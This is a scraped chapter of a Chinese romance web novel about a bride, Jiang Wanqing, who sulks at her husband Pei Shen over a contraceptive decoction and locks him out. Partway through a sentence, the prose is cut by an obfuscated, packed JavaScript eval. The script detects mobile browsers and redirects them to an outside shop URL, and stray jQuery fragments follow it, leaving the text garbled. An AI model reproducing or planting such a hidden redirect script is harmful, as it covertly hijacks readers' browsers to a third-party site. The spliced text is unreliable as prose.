14. 别扭

作品:《嫁入高门后夫君回家了吗?

    不管怎么说,自家儿子都求到她这来了,李兰没有不给的理由。


    今早新妇请安的时候,面若桃花气色红润,只是脚步虚浮了一点,李兰也是从媳妇熬成婆,这种还能不懂?


    看着身子骨这么瘦,若现在怀孕肯定遭老罪了。怎么也不知道注意一下?


    李兰埋怨地看了他一眼。让身边的柯妈妈把方子找来,她看见儿子像站桩似的接过,临走前忍不住敲打敲打:


    “江氏既已嫁过来,你该待人家好才是,有什么话别总让人家猜,又不是你肚子里的蛔虫,谁知道你在想什么。”


    裴慎略通药理,扫了一眼方子后对上李兰那双欲言又止的眼睛。


    “多谢母亲。”


    “……”有这个儿子真是气死个人!


    柯妈妈又端了一碗黑乎乎的药上来,味道直冲李兰的天灵盖。


    裴慎在一旁站着,也不急着走,眼神像是在说“药凉了就没有药性了”。


    就连自己的丈夫都没有管的这么严,他一个半大小子倒反天罡管起她来了。


    李兰半怨半顺从地将碗接过,一口闷了下去,嫌弃地对儿子挥挥手:“快走吧快走吧。”


    裴慎点点头,“儿子告退。”


    柯妈妈立即讨好似的送上蜜饯,李兰吃了还是要骂她:“你可真会挑时间,下次再这样看我不打你。”


    柯妈妈笑了笑,自己就是故意的,夫人心善,嘴上这么说但是肯定舍不得打骂她。


    “是是是,夫人再吃一块,压压苦味。”


    ——


    今日除了要给长辈奉茶就没有别的事情了。新妇第一天过门,若是想逛逛府上就让夫君相陪,但是江婉清现在一看到他那遮着半边脸的样子就来气,还好自己认得路,自顾自地回了屋子里。


    两人都得了空闲,青见还以为自家公子要跟着夫人一起回屋,毕竟新婚夫妻肯定是要如胶似漆的。


    却没想到公子跟在夫人身后,在一个岔路口就拐了弯。去了禾安堂回来给他一个方子说要煎药给夫人,又走了。


    烧了两个炉子的屋内火热如夏,江婉清脱了自己的袄子,换上了单薄的襦裙。她惬意地躺在贵妃榻上,一手掐着书,一手用签子插了一块府上饭后送上来的樱桃萝卜。


    江婉清见过白萝卜红萝卜,第一次见到拇指大小的粉红色小萝卜,用糖水渍过,脆脆甜甜的。


    陈府没有这个小玩意,江婉清第一次见的时候还以为是樱桃。


    燕州当地苦寒,一年的收成除去给官府纳税,剩下的才是他们要熬过冬的存粮,麦子、米和粗粮这些可以互换,和菜一起收了以后存在地窖里。除了肉,燕州过冬就全靠这些了。


    吃了两盘,唤梅劝她别吃太多,贪凉对身体不好。刚说完,玉湘就端着避子汤进来了,一脸忐忑地看着她。


    “夫人,这……”


    三公子突然拿过来一个药方,青见包的药。玉湘也略通药理,识得里面有几味药是避子的。


    昨日两人不是还如胶似漆的,突然要煎避子汤,这件事夫人清楚吗?


    江婉清看到那黑乎乎的药汁,眉头皱起拉来。


    “哼,那个狗男人去哪了?”


    狗、狗男人??!


    玉湘心里一惊,夫人怎么能这么说?这话要是被三公子听见了,这可就麻烦大了。


    “夫人,三公子在书房呢,慎言。”


    “哼!”江婉清的嘴巴嘟起来,完全不认同玉湘这个说法,“他就是狗东西。”


    这药就是证据!


    “……”


    玉湘沉默了,她将碗放下,忧心忡忡地看着她:“夫人,你就别开玩笑了,这要是别人听到了怎么办。”


    “嘘——”青葱般的玉指放在江婉清的嘴唇前,“知道你是为我好,但是我们这院子里又没有外人,谁会说出去。”


    花叶在外面守着,唤梅此时虽然吃惊,但也只是微微瞪大了眼睛,并不敢乱嚼舌根。


    玉湘:“那这药……”


    今日用膳时两人说的话,江婉清不好和侍女说,夫妻之间的事情即使是母亲派来的侍女也不能讲。


    江婉清没再说话,咬着牙一口将那黑乎乎臭臭的汤药灌了进去。苦涩的药汁顺着喉咙流进胃里,苦味涌上鼻腔,江婉清强忍这才没吐出来。


    她用手捂着自己的喉咙和肚子,眼泪都要出来了,“呕——”


    玉湘反应过来时碗里已经空了,看着自家夫人表情痛苦的样子一脸心疼,“哎呀,夫人,怎么喝的这么急啊,快快快端碗水来。”


    唤梅急急忙忙地倒了一碗水,江婉清抱着碗大口大口地喝光了。


    “这药怎么这么苦?”裴慎这厮不会就是故意的吧?


    这药虽说不伤身子,但是伤到了她的嘴巴和舌头。她一口一块萝卜,都压不下去这苦味。


    裴慎不知道这药这么苦,派人来请江婉清吃晚膳的时候被吃了闭门羹。


    青见在一旁战战兢兢的复刻玉湘让他带的话:“夫人说今日风大,就不出来吃晚膳了,三公子随意吃点对付。”


    今日风大?


    对于裴慎而言,今日算不上风大也不冷,江婉清怕冷,不愿意出来罢了。


    可不吃饭不太行,裴慎犹豫了一下要不要让厨房将饭菜直接端进去,他问青见:“那夫人可有吃过什么?”


    青见想了想回道:“夫人用了一碗雪莲银耳羹,还有一盘核桃酥加了三个厨房新做的小笼包。”


    裴慎默了默,直接让人传菜了。


    这消息传回了主屋,玉湘禀报的时候江婉清甚至失手将递上来的茶碗打碎了。


    江婉清贝齿咬着唇,“这裴慎根本不如外面所说的那般谦谦君子,就是个大无赖!”


    她说不吃就不会再请一次吗?自己吃的正香,留她一人在屋里生闷气。


    玉湘想说或许裴慎并不是故意的,她跟在青见后面,裴慎虽然没什么表情包,但是也没有嫌弃的意思。


    “夫人……”


    江婉清怒极生笑,伸手打断她,然后告诉所有人:“好了,给我备水洗漱,我今日要早睡你们记得将油灯灭了,还有,就算是天王老子来了,今晚谁也不准开门。”


    以前在燕州,娘一生气就会把爹关在门外,只要爹放下姿态哄两句娘就会把门打开。陈府


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857332|191044||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的后院是崔令仪的天下,陈靖宗在外说一不二,但后院的事情他逾越不过崔令仪。


    江婉清雄赳赳气昂昂地在心里立誓,若是裴慎来说,她绝不会心软。


    裴慎用过晚膳后回来就看到的紧闭的房门,琴香和花叶站在门口,两股战战地告诉他:


    “夫人已经熟睡了,还请三公子移步。”


    裴慎单手背在身后,止步在台阶前。他想到昨晚夫人最后体力不支就连净身都做不到,今日也是请安结束后早早回了房间歇息。


    他此时进去,肯定会打扰到她。


    “昨日夫人甚是辛劳,今日也该好好休息,若是夫人有什么需要的只管吩咐青见。”


    留下这句话,裴慎转身就离开了。


    琴香和花叶对视了一眼,“……?”这、这三公子怎么一句话都不说就走了,两人才成亲第一天,两人就这样一句话不说就分房了?


    等两人反应过来时,裴慎已经走远了。


    青见原本在院门口插科打诨等着到点了就能回去睡觉了,但是看到三公子出来,心里顿感大事不妙。


    “三、三公子,你怎么又出来了?”


    新婚夫妻第一夜就分房?这要是传到禾安堂那边去,整个府邸不就都晓得了。


    裴慎望了望天上的月亮,但被乌云遮住,若隐若现地从薄薄的云层中透出一丝丝光亮。


    他想起昨夜的大红喜被上皎洁如月的人儿,抿了抿唇。


    看着自家主子这遗憾的模样,青见大胆猜测:“这……三公子,您不会被赶出来了吧?”


    裴慎凉凉地看了他一眼,“城北郊外的庄子上缺一个养马的,我看你很适合,要我向母亲引荐你吗?”


    他明明是心疼夫人昨夜劳累,今日才没打搅夫人休息,在这个院子里,谁敢赶他?


    青见认错态度迅速且诚恳:“公子我错了。”


    裴慎在前院有属于自己的屋子,屋里没有生炉子,光秃秃的门和窗户一点都不防风,屋内外的温度一致。


    一进门摆着的是祖父怎给他的宝剑,每日晨起他都会带着练上一会。


    今日还早,宝剑出鞘,他又在屋子前的空地练了一会。


    青见不懂为什么自己的主人突然在半夜开始练剑,他站在一旁守着,看着主人一招一式,似乎和平时一样,又有点不一样。


    每一招都仿佛用尽了自己全身的力气,眼神坚定动作凌厉,不一会身上的衣衫全都湿透。


    挥汗如雨后,裴慎站在原地深深地呼了一口气,将自己身上的那股邪念压了下去。


    而在另一边的江婉清熄灯后听到了外面的动静,以为会有一段时间的说话声。


    结果裴慎只说了两句话就走了。


    江婉清从床上坐起来,一脸不可思议地看着门外。


    不是他这人怎么……


    琴香推门进来,在一片黑暗里看到枯坐在床上的江婉清。


    “夫人,三公子他、他走了。”


    江婉清宛若黄鹂般清脆的声音在床幔中响起:“我听见了。”


    琴香忍不住头皮一紧,这声音一听就是一直没睡,在等着呢。